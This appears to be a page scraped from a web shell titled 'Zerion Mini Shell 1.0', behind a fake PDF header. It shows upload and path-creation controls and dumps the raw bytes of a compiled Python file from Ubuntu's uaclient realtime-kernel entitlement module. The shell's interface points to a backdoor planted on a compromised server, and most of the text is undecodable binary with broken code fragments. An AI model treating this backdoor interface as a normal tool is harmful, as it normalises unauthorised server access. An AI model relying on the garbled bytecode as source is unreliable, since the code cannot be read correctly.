%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/uaclient/entitlements/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/uaclient/entitlements/__pycache__/realtime.cpython-312.pyc

�

�Hcf��&�ddlmZmZmZmZmZddlmZmZm	Z	m
Z
mZddlm
Z
ddlmZmZddlmZmZmZej*�ZGd�de
j.�ZGd�d	e�ZGd
�de�ZGd�d
e�ZGd�de�ZGd�de�Zy)�)�Any�Dict�Optional�Tuple�Type)�apt�event_logger�messages�system�util)�repo)�EntitlementWithMessage�
UAEntitlement)�MessagingOperations�MessagingOperationsDict�StaticAffordancec��eZdZdZej
ZejZejZ
ejjZ
dZdZdZdZdZdefd�Zdeeeeffd�Zedeed	ffd
��Zedeed	ffd��Zede fd��Z!dd�Z"y
)�RealtimeKernelEntitlementzrealtime-kernelzubuntu-pro-realtime-kernel.gpgTF�UbuntuRealtimeKernel�returnc��tjt|j�tdg���}tj|�|S)z%Check if system needs to be rebooted.zlinux-.*-realtime)�installed_pkgs�installed_pkgs_regex)r�
should_reboot�set�packages�event�needs_reboot)�self�reboot_requireds  �@/usr/lib/python3/dist-packages/uaclient/entitlements/realtime.py�_check_for_rebootz+RealtimeKernelEntitlement._check_for_reboots@�� �.�.��t�}�}�-�!$�&9�%:�!;�
��	���?�+���c��tjttjttjttjtiS�N)�GenericRealtime�variant_name�NvidiaTegraRealtime�RaspberryPiRealtime�IntelIotgRealtime�rs r!�
_get_variantsz'RealtimeKernelEntitlement._get_variants$s;���(�(�/��,�,�.A��,�,�.A��*�*�,=�	
�	
r#.c��ddlm}m}ddlm}t|tj�t|tj�t|tj�fS)Nr)�FIPSEntitlement�FIPSUpdatesEntitlement)�LivepatchEntitlement)
�uaclient.entitlements.fipsr.r/�uaclient.entitlements.livepatchr0rr
�REALTIME_FIPS_INCOMPATIBLE�"REALTIME_FIPS_UPDATES_INCOMPATIBLE�REALTIME_LIVEPATCH_INCOMPATIBLE)rr.r/r0s    r!�incompatible_servicesz/RealtimeKernelEntitlement.incompatible_services,sW��	
�	I�
#���!D�!D�
�
#�&��;�;�
�
#�$�h�&N�&N�
�
�	
r#c�,�tjd�dffS)Nc�*�tj�Sr%)r�is_container�r#r!�<lambda>z>RealtimeKernelEntitlement.static_affordances.<locals>.<lambda>Fs���+�+�-�r#F)r
�#REALTIME_ERROR_INSTALL_ON_CONTAINERr+s r!�static_affordancesz,RealtimeKernelEntitlement.static_affordancesAs"���<�<�-��
�
�	
r#c��d}|js/tjtj|j
dd�fg}d}|js.tjtj|j
d�fg}||d�S)NT)�msg�
assume_yes�default)r?r@)�
pre_enable�pre_disable)�access_onlyr�prompt_for_confirmationr
�REALTIME_PROMPTr@�purge�REALTIME_PRE_DISABLE_PROMPT)rrBrCs   r!�	messagingz#RealtimeKernelEntitlement.messagingKs����
�����0�0�'�7�7�&*�o�o�#'���	�J����z�z��0�0�'�C�C�&*�o�o����K�%�&�
�	
r#Nc��t|j�jttj���}|rHtj
t
|�tjj|j���yy)N)�title)rr�intersectionr�get_installed_packages_names�remove_packages�listr
�DISABLE_FAILED_TMPL�formatrK)rrs  r!rNz)RealtimeKernelEntitlement.remove_packagesmsf���t�}�}�%�2�2���0�0�2�3�
�������X���,�,�3�3�$�*�*�3�E�
�r#)rN)#�__name__�
__module__�__qualname__�namer
�REALTIME_TITLErK�REALTIME_DESCRIPTION�description�REALTIME_HELP_TEXT�	help_text�urls�REALTIME_HOME_PAGE�help_doc_url�
repo_key_file�apt_noninteractive�supports_access_only�supports_purge�origin�boolr"r�strrrr,�propertyrrr6rr=rrIrNr:r#r!rrs����D��#�#�E��/�/�K��+�+�I��=�=�3�3�L�4�M������N�
#�F��4��
�t�C��m�)<�$<�=�
��
�u�-C�S�-H�'I�
��
�(�
�E�*:�C�*?�$@�
��
��
�	 �
��
�Br#rc�8��eZdZedeedff�fd��Z�xZS)�RealtimeVariantr.c
���t|jj�D��cgc]D\}}t|tj
j
|j|j�����Fc}}�}t�|�$|zScc}}w)N)�service�variant)
�tuple�other_variants�itemsrr
�REALTIME_VARIANT_INCOMPATIBLErQrK�superr6)rrU�cls�incompatible_variants�	__class__s    �r!r6z%RealtimeVariant.incompatible_servicesys���� %�"&�!4�!4�!:�!:�!<�
��D�#�
'���:�:�A�A� $�
�
�C�I�I�B���
�
!
���w�,�/D�D�D��
s�A	B
)rRrSrTrerrr6�
__classcell__)rrs@r!rgrgxs*���
�E�u�-C�S�-H�'I�E��Er#rgc�H�eZdZdZej
ZejZdZ	dZ
y)r&�genericTN)rRrSrTr'r
�REALTIME_GENERIC_TITLErK�REALTIME_GENERIC_DESCRIPTIONrX�
is_variant�check_packages_are_installedr:r#r!r&r&�s(���L��+�+�E��7�7�K��J�#'� r#r&c�H�eZdZdZej
ZejZdZ	dZ
y)r(znvidia-tegraTN)rRrSrTr'r
�REALTIME_NVIDIA_TITLErK�REALTIME_NVIDIA_DESCRIPTIONrXrxryr:r#r!r(r(�s(��!�L��*�*�E��6�6�K��J�#'� r#r(c�H�eZdZdZej
ZejZdZ	dZ
y)r)�raspiTN)rRrSrTr'r
�REALTIME_RASPI_TITLErK�REALTIME_RASPI_DESCRIPTIONrXrxryr:r#r!r)r)�s(���L��)�)�E��5�5�K��J�#'� r#r)c��eZdZdZej
ZejZdZ	dZ
deee
fdeeeej"ffd�Zy)r*z
intel-iotgT�platform_checksrc���tj�j}|jdg�}||vrydtj
j
|j|dj|���fS)N�cpu_vendor_ids)TNF�,)rK�vendor�supported_vendors)	r�get_cpu_info�	vendor_id�getr
�INAPPLICABLE_VENDOR_NAMErQrK�join)rr�r�r�s    r!�verify_platform_checksz(IntelIotgRealtime.verify_platform_checks�sr���'�'�)�3�3�	�(�,�,�-=�r�B����&���(�;�;�B�B��j�j� �"%�(�(�>�":�C���
r#N)rRrSrTr'r
�REALTIME_INTEL_TITLErK�REALTIME_INTEL_DESCRIPTIONrXrxryrrdrrrcr�NamedMessager�r:r#r!r*r*�sZ���L��)�)�E��5�5�K��J�#'� ��#�C��H�~��	�t�X�h�3�3�4�4�	5�r#r*N)�typingrrrrr�uaclientrr	r
rr�uaclient.entitlementsr
�uaclient.entitlements.baserr�uaclient.typesrrr�get_event_loggerr�RepoEntitlementrrgr&r(r)r*r:r#r!�<module>r�s���3�3�>�>�&�L���	&��%�%�'��f�� 4� 4�f�RE�/�E�"(�o�(�(�/�(�(�/�(���r#

Zerion Mini Shell 1.0